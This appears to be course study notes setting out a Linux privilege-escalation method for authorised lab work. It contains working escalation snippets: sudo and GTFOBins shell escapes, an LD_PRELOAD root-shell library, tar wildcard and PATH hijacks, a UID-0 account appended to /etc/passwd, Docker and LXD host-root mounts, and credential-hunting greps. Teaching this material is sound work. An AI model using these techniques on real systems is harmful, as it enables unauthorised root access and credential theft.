← Complete task index · Workspace

Linux Privilege Escalation

← Stage index | Quick sheet | Master Notes | File transfer | Strategy map | Study methods: Escalate privileges on Linux

Model: controlled object → effective permission → privileged consumer → execution identity → trigger → effect → verified identity.

First pass: confirm the session identity, run the LinPEAS baseline early, then verify its exact finding. For short-lived scheduled commands use pspy and inspect the consumed path.

Reuse discovery: repeating an inventory is optional when equivalent complete output is available from the same host and identity. Check the LinPEAS build/options, skipped checks and errors. Keep selected-candidate validation: exact effective permissions, privileged consumer, trigger and verified outcome. Re-enumerate affected resources after access changes; absence from a report does not rule a path out. The quick sheet marks reusable discovery and follow-up checks per investigation.

1. Establish current state

Decisive output: current identity/groups, OS/kernel/architecture, network position, root-owned activity, mounts and exact sudo rules.

hostname; id; groups
uname -a; cat /etc/os-release; getconf LONG_BIT
pwd; umask; env
ip addr; ip route; ss -lntup; ss -lxnp
ps auxf
mount; findmnt; lsblk; df -hT
sudo -n -l 2>&1
sudo -l
getent passwd
awk -F: '$3 == 0 || $7 !~ /(nologin|false)$/ {print $1,$3,$4,$6,$7}' /etc/passwd

Priority: credentials/sudo → root-consumed writable objects → SUID/capabilities → privileged groups/mounts/local services → PATH/libraries/wildcards → software/kernel.

2. Prove permissions, including parents and mounts

namei -l /PATH/TO/OBJECT
stat /PATH/TO/OBJECT /PATH/TO/PARENT
getfacl -p /PATH/TO/OBJECT /PATH/TO/PARENT 2>/dev/null
findmnt -T /PATH/TO/OBJECT -o TARGET,SOURCE,FSTYPE,OPTIONS

Directory write+execute can permit replacement even when the file is not writable. ACLs can add/remove effective access. nosuid defeats SUID/SGID and file-capability effects; noexec blocks direct execution; ro blocks changes.

Discover writable objects, then prioritize root-owned configuration, scripts, binaries and parents under /etc, /opt, /usr/local, application paths and service working directories:

find / -xdev -type f -writable -ls 2>/dev/null
find / -xdev -type d -writable -ls 2>/dev/null

3. Hunt credentials and service trails

history 2>/dev/null
find /home /root -maxdepth 3 -type f \
  \( -name '.*history' -o -name '*.conf' -o -name '*.ini' -o -name '*.env' \
     -o -name 'id_*' -o -name '*.pem' -o -name '*.key' -o -name '*.bak' \) \
  -readable 2>/dev/null

grep -RniE 'pass(word)?|secret|token|api[_-]?key|connection(string)?' \
  /var/www /opt /srv /etc 2>/dev/null | head -n 200

Inspect process arguments and readable process environment:

ps auxww
ps eww -u root 2>/dev/null
tr '\0' ' ' < /proc/PID/cmdline 2>/dev/null; echo
tr '\0' '\n' < /proc/PID/environ 2>/dev/null

Check reusable local sessions/agents only when their sockets are accessible:

w; who; last -n 20
env | grep -E 'SSH_AUTH_SOCK|TMUX|STY'
tmux ls 2>/dev/null
screen -ls 2>/dev/null
find /tmp /run -maxdepth 3 -type s -ls 2>/dev/null

An agent, tmux/screen or daemon socket needs effective socket access and a useful authenticated/privileged session. Presence alone is not session hijacking.

Next: identify the value's user/service context, validate the smallest relevant transition (su, sudo, SSH or application authentication), then re-enumerate. Use credential handling for cracking/reuse.

4. Sudo: parse the complete rule

sudo -n -l 2>&1
sudo -l
sudo --version

Record the run-as identity, password tag, executable path, argument constraints/wildcards and SETENV/NOSETENV/env_keep/secure_path/NOEXEC. Match the exact mode under GTFOBins.

sudo /usr/bin/find . -exec /bin/sh \; -quit
sudo /usr/bin/awk 'BEGIN {system("/bin/sh")}'
sudo /usr/bin/python3 -c 'import os; os.setuid(0); os.execl("/bin/sh","sh","-p")'

Use an example only when the entire rule permits it. Restricted arguments, another path/build, privilege dropping, NOEXEC, a non-root run-as user or MAC policy can invalidate the escape.

Preserved LD_PRELOAD variant

Requires an explicitly allowed/preserved variable and a dynamically linked allowed program.

sudo -l | grep -E 'SETENV|env_keep.*LD_PRELOAD'
#include <stdlib.h>
#include <unistd.h>
void _init(void) {
  unsetenv("LD_PRELOAD");
  setgid(0); setuid(0);
  system("/bin/sh");
}
gcc -fPIC -shared -nostartfiles -o /tmp/preload.so preload.c
sudo LD_PRELOAD=/tmp/preload.so /ALLOWED/PROGRAM

Static linking, secure-loader behavior, missing environment permission or MAC denial disproves this route.

5. SUID, SGID and capabilities

find / -xdev -type f -perm -4000 -ls 2>/dev/null
find / -xdev -type f -perm -2000 -ls 2>/dev/null
getcap -r / 2>/dev/null

Rank nonstandard/custom paths, unexpected versions, writable binaries/parents and dangerous interpreters. Inspect one candidate:

namei -l /PATH/TO/BINARY
stat /PATH/TO/BINARY
file /PATH/TO/BINARY
readelf -d /PATH/TO/BINARY 2>/dev/null | grep -E 'RPATH|RUNPATH|NEEDED'
ldd /PATH/TO/BINARY 2>/dev/null
strings /PATH/TO/BINARY | head -n 150
dpkg -S /PATH/TO/BINARY 2>/dev/null
rpm -qf /PATH/TO/BINARY 2>/dev/null

Look for a documented SUID/capability primitive, unsafe relative helper, arbitrary file operation, user-controlled config/plugin or exact vulnerable version. Normal distribution SUID files are not findings by themselves.

Capability interpretation and example

High-value capability candidates include cap_setuid, cap_setgid, cap_dac_override, cap_dac_read_search, cap_sys_ptrace, cap_sys_admin, cap_setfcap and cap_sys_module. cap_net_raw is usually not a direct root transition.

capsh --print 2>/dev/null
grep '^Cap' /proc/self/status

Only when the exact interpreter has effective cap_setuid:

/PATH/TO/python3 -c 'import os; os.setuid(0); os.execl("/bin/sh","sh","-p")'

+ep indicates permitted plus the file effective bit. Bounding sets, namespaces, nosuid mounts and program behavior can still change the result.

6. Cron, timers and services

crontab -l 2>/dev/null
cat /etc/crontab
cat /etc/anacrontab 2>/dev/null
atq 2>/dev/null
ls -la /etc/cron.* /var/spool/cron 2>/dev/null
grep -RniE 'CRON|CMD' /var/log/syslog /var/log/cron* 2>/dev/null | tail -n 100

systemctl list-timers --all
systemctl list-unit-files --type=service
systemctl list-units --type=service --state=running
systemctl cat UNIT
systemctl show UNIT -p User -p Group -p ExecStart -p WorkingDirectory -p EnvironmentFiles

Observe short-lived commands:

./pspy64
./pspy64 -pf -i 1000

Validate every referenced script, binary, configuration, environment file, plugin and parent:

namei -l /PATH/TO/OBJECT
stat /PATH/TO/OBJECT /PATH/TO/PARENT
getfacl -p /PATH/TO/OBJECT /PATH/TO/PARENT 2>/dev/null

Prove: exact object is controllable → job/service consumes it → process runs as a higher identity → schedule/restart/other trigger is available. A writable unit still needs a privileged reload/restart or automatic trigger. Cron uses a different/minimal environment.

Apply the same proof to backup, logrotate, package-maintenance and custom housekeeping hooks: configuration visibility or a writable output is insufficient unless a higher-privileged consumer interprets attacker-controlled input.

7. PATH and relative-command hijacking

echo "$PATH" | tr ':' '\n'
echo "$PATH" | tr ':' '\n' | while IFS= read -r d; do
  [ -z "$d" ] && d=.
  [ -w "$d" ] && ls -ld "$d"
done
strings /PATH/TO/PRIVILEGED_BINARY | grep -E '(^|[^/])(cp|tar|service|sh|bash|cat)( |$)'

If the privileged consumer resolves helper through a controllable PATH:

printf '#!/bin/sh\n/usr/bin/id > /tmp/path-proof\n' > /WRITABLE/DIR/helper
chmod 700 /WRITABLE/DIR/helper
PATH=/WRITABLE/DIR:$PATH /PATH/TO/TRIGGER
cat /tmp/path-proof

Requires a relative command, the consumer's effective PATH, an earlier writable directory, trigger and retained privilege. Your interactive PATH alone is inconclusive.

8. Wildcard and option injection

grep -RniE 'tar .+\*|chown .+\*|chmod .+\*|rsync .+\*' \
  /etc/cron* /etc/systemd /opt /usr/local 2>/dev/null

GNU tar proof, only when a privileged job executes compatible tar ... * in an attacker-writable directory:

printf '#!/bin/sh\n/usr/bin/id > /tmp/wildcard-proof\n' > proof.sh
chmod 700 proof.sh
touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=sh proof.sh'

Confirm working directory, wildcard placement, utility implementation/options, privileged identity and trigger. Do not assume every wildcard or utility accepts filename-derived options.

9. Writable account/policy files

ls -l /etc/passwd /etc/shadow /etc/sudoers
namei -l /etc/passwd
getfacl -p /etc/passwd 2>/dev/null
Writable /etc/passwd — authorized disposable lab only
cp /etc/passwd /tmp/passwd.backup
HASH=$(openssl passwd -6 'TEMP_PASSWORD')
printf 'root2:%s:0:0:root:/root:/bin/bash\n' "$HASH" >> /etc/passwd
su - root2
id

Preserve a known-good copy and restore it. UID/GID 0 creates a superuser. Do not risk corrupting a host when no safe recovery exists.

Also inspect effective access to /etc/sudoers.d, PAM, SSH authorized-key locations and root-executed startup/configuration files.

10. Privileged groups, sockets and containers

id
ls -l /var/run/docker.sock /run/docker.sock 2>/dev/null
docker version 2>/dev/null
lxc list 2>/dev/null

Group candidates include docker, lxd/lxc, disk, shadow, adm, systemd-journal and libvirt. Prove the associated resource and effective permission.

Rootful Docker daemon with an available image
docker images
docker run --rm -it -v /:/host IMAGE chroot /host /bin/sh

Requires daemon/socket access, a rootful daemon, usable image and allowed host bind mount. Rootless mode, user namespaces, authorization plugins and SELinux can change the effect.

LXD/LXC with an available image alias
lxc image list
lxc init IMAGE_ALIAS privesc -c security.privileged=true
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
lxc start privesc
lxc exec privesc /bin/sh

Requires configured daemon access, sufficient group rights, image availability and privileged-container/device support.

11. Mounts, NFS and local services

findmnt
cat /etc/fstab
mount
ss -lntup
ss -lxnp

For NFS, a writable export plus no_root_squash can trust client-root-created ownership/SUID metadata. Confirm export options, writable mount, target-side mount options and compatible execution. See NFS/RPC.

Root-only loopback services and UNIX sockets are candidates only. Identify protocol/authentication and prove a privileged action through a controlled request, configuration, plugin or file.

12. Shared-library resolution

file /PATH/TO/BINARY
readelf -d /PATH/TO/BINARY 2>/dev/null | grep -E 'RPATH|RUNPATH|NEEDED'
ldd /PATH/TO/BINARY 2>/dev/null

Need a privileged dynamically linked consumer plus a missing/selected library resolved from a writable location or a preserved loader variable. Secure-execution mode strips many loader variables from SUID/SGID programs. Prefer readelf over executing an untrusted file through an unsafe ldd implementation.

For root-run scripts, inspect imports/includes and their actual search order. A writable current directory, module path or imported file can be a privileged input even when the main script is protected:

grep -nE '^(import|from) |require\(|include|source |\. ' /PATH/TO/SCRIPT
/PATH/TO/python3 -c 'import sys; print("\n".join(sys.path))'

Prove the privileged interpreter uses the writable module/include before changing it. The interactive interpreter's search path may differ from cron/systemd/sudo.

13. Software/kernel exploits: evidence last

uname -a
cat /proc/version
cat /etc/os-release
dpkg -l 2>/dev/null
rpm -qa 2>/dev/null
sudo --version
lsmod
sysctl kernel.unprivileged_userns_clone 2>/dev/null
searchsploit "PRODUCT VERSION local privilege escalation"
searchsploit -x EDB_ID
searchsploit -m EDB_ID
gcc -Wall -Wextra exploit.c -o exploit
file exploit
sha256sum exploit

Match component, exact distribution/build and patch/backport state, architecture, required configuration/capabilities/namespaces, mitigations and dependencies. Review source and recovery risk. A version title or successful compilation is only a candidate. Follow public exploit adaptation.

14. Automated enumeration: generate, then prove

For the early collector pass, transfer a reviewed LinPEAS copy, check the current UID/architecture and save its output. This form does not require an executable bit:

sh ./linpeas.sh | tee linpeas.txt

Follow the named finding into the matching sudo, SUID/capability, writable-consumer or credential procedure. Use the local help for optional modes; broader/noisier checks are not the automatic baseline.

./linpeas.sh | tee linpeas.txt
./lse.sh | tee lse.txt
./lse.sh -l1 | tee lse-l1.txt
./unix-privesc-check standard > unix-privesc-check.txt

LinPEAS optional flags vary by build. Read the local ./linpeas.sh -h before selecting broader checks; they are not the automatic baseline. LSE progresses from default to -l1, then -l2 only if needed. unix-privesc-check detailed is slower and more false-positive-prone.

For every highlight:

exact object | effective permission | privileged consumer | identity | trigger | expected effect | manual verification

Do not pipe an unverified Internet download into the target shell. Acquire a trusted copy, retain its source/hash, transfer deliberately and remove assessment artifacts when appropriate.

15. Failure router

SymptomCheck next
sudo -l fails/promptsPassword requirement, credential correctness and policy—not “no sudo”
Allowed sudo command gives ordinary shellArgs/run-as, privilege dropping, NOEXEC, MAC denial
SUID technique stays low privilegeOwner/mode, effective UID, nosuid, shell privilege preservation
Capability command failsExact path, +ep, bounding set, namespace/mount and interpreter support
Cron edit never runsJob/user/schedule, working directory, shell/PATH, logs and pspy
PATH route ignoredAbsolute command, secure_path, reset environment, wrong directory/order
Wildcard route ignoredWorking directory, expansion, option order and utility implementation
Docker permission deniedSocket ACL, group session, daemon mode and authorization controls
Kernel PoC failsExact affected build/configuration, architecture, toolchain/dependencies
Enumerator says “possible”Run native commands proving every chain link

16. Verify and re-enumerate

id; whoami; groups
hostname; pwd
ip addr; ip route

After root, re-enumerate newly readable credentials, services, listeners, mounts and routes. Capture the exact command, decisive output and state transition required by the objective; keep target details and proof material private.

Restricted shell — escape the restriction without claiming root

Use when a login is confined by rbash or an allowlisted command wrapper. Check which binaries and features are actually allowed; the following are alternatives, not a sequence to execute together.

# If the allowed Python interpreter can create a child shell
python3 -c 'import os; os.execl("/bin/sh", "sh")'

# If an unrestricted awk is in the allowed path
awk 'BEGIN {system("/bin/sh")}'

# If less allows its shell-escape feature: run less FILE, then enter this in less
!/bin/sh

Read: run id and check the new shell behavior. This changes the command environment, not the UID. LESSSECURE, a restricted editor build, no-exec controls or an application wrapper can block an otherwise familiar GTFOBins escape. A server-side SSH ForceCommand can ignore the command you supply to ssh; do not repeat a client-side command substitution as though it overrides the server policy.

Sources: upstream 1 · upstream 2.

Kernel candidates — Linux Exploit Suggester as a second view

Use when manual permission/credential routes have not yielded a candidate and kernel/package evidence justifies checking public local exploits. Transfer a reviewed copy before execution.

uname -a
cat /etc/os-release
bash linux-exploit-suggester.sh

Read: candidates need the advisory's exact kernel/build/configuration and prerequisite checks. Distribution backports can fix a CVE without changing an apparent upstream version. Inspect the PoC's primitive, architecture, compilation and failure impact before choosing it. A suggestion or successful build is not evidence of a vulnerable target or an elevated identity.

Sources: upstream 1.

Logrotate race — only with a controlled log path and privileged rotation

Use when root rotates a log in an attacker-controlled path and the configuration creates/copies/compresses a file. A writable log by itself is insufficient. Check the relevant stanza, directory ownership and actual scheduled execution first.

cat /etc/logrotate.conf
cat /etc/logrotate.d/SERVICE
namei -l /PATH/TO/LOG
systemctl cat logrotate.service logrotate.timer

# Compile a reviewed upstream source; prepare a script payload for the actual consumer
gcc -o logrotten logrotten.c
printf '%s\n' 'id > /tmp/logrotate-proof.txt' > payloadfile

# create option; wait for the existing privileged rotation trigger
./logrotten -p ./payloadfile /PATH/TO/LOG

# Alternative for a matching compress configuration, not an extra required step
./logrotten -p ./payloadfile -c -s 4 /PATH/TO/LOG

Read: winning the file-write race and executing its contents are separate events. The upstream default targets a shell-completion consumer: it must actually be sourced by a privileged shell before the proof appears. Verify that consumer and then read the proof UID. A low-privilege su rotation, protected parent, incompatible build/filesystem or an absent consumer can rule out this route. Do not force root rotation from a low-privilege account or treat lack of proof as a confirmed race win; return to the scheduled-job/service checks.

Sources: upstream 1 · upstream 2.

Sources